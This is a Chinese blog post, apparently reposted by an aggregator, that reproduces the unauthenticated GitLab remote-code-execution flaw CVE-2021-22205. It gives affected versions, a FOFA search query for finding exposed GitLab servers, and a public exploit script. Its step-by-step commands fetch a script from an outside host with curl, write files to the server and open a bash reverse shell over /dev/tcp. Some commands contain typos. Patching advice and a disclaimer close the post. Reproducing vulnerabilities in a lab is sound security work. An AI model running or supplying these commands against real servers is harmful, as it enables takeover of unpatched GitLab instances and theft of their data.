Gitlab无需认证RCE漏洞复现(CVE-2021-22205)

Posted 星球守护者

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Gitlab无需认证RCE漏洞复现(CVE-2021-22205)相关的知识,希望对你有一定的参考价值。

gitlab介绍

  • GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。
  • GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,并在此基础上搭建起来的 Web服务。

漏洞介绍

  • 由于 GitLab 没有正确验证传递给文件解析器的图像文件,攻击者可利用该漏洞在服务端进行远程命令执行。
  • 由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用,社区版(CE)和企业版(EE)皆受影响。
  • 4月15日,GitLab官方发布安全更新修复了此GitLab命令执行漏洞(CVE-2021-22205),由于GitLab中的ExifTool没有对传入的图像文件的扩展名进行正确处理,攻击者通过上传特制的恶意图片,可以在目标服务器上执行任意命令。

漏洞编号

  • CVE-2021-22205

漏洞等级

该漏洞CVSS评分:9.9
危害等级:严重

影响版本

11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3

FOFA 查询

app="GitLab"

环境搭建(vulhub环境搭建)


漏洞复现

https://github.com/Al1ex/CVE-2021-22205

第一步 漏洞检测

python CVE-2021-22205.py -v true -t http://192.168.253.134:8080

第二步 dnslog解析

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "ping "

第三步 服务器写入文件

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.sh"
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "test > /tmp/1.txt"

第三步 反弹shell

python CVE-2021-22205.py  -a  true -t http://192.168.253.134:8080/ -c "echo 'bash -i >& /dev/tcp/192.168.253.128/4444 0>&1' > /tmp/1.sh
python CVE-2021-22205.py  -a  true -t http://192.168.253.134:8080/ -c "chmod +x /tmp/1.sh"
python3 CVE-2021-2205.py -a true -t http://192.168.253.134:8080/ -c "/bin/bahs /tmp/1.sh"


修复建议

  • 官方升级

目前官方已发布新版本修复了该漏洞,请受影响的用户尽快升级至最新版本进行防护,
官方下载链接:https://about.gitlab.com/update/

  • 临时防护措施

若相关用户暂时无法进行升级操作,可使用白名单限制对Web端口的访问。

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责

摘抄


为世界进文明,为人类造幸福,

以青春之我,创建青春之家庭,青春之国家,

青春之民族,青春之人类,青春之地球,

青春之宇宙,资以乐其无涯之生。

– 李大钊 《觉醒年代》


以上是关于Gitlab无需认证RCE漏洞复现(CVE-2021-22205)的主要内容,如果未能解决你的问题,请参考以下文章

Bonitasoft认证绕过和RCE漏洞分析及复现(CVE-2022-25237)

漏洞|Apache Solr最新RCE漏洞

Zimbra无需登录RCE漏洞利用

永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)

永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)

永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)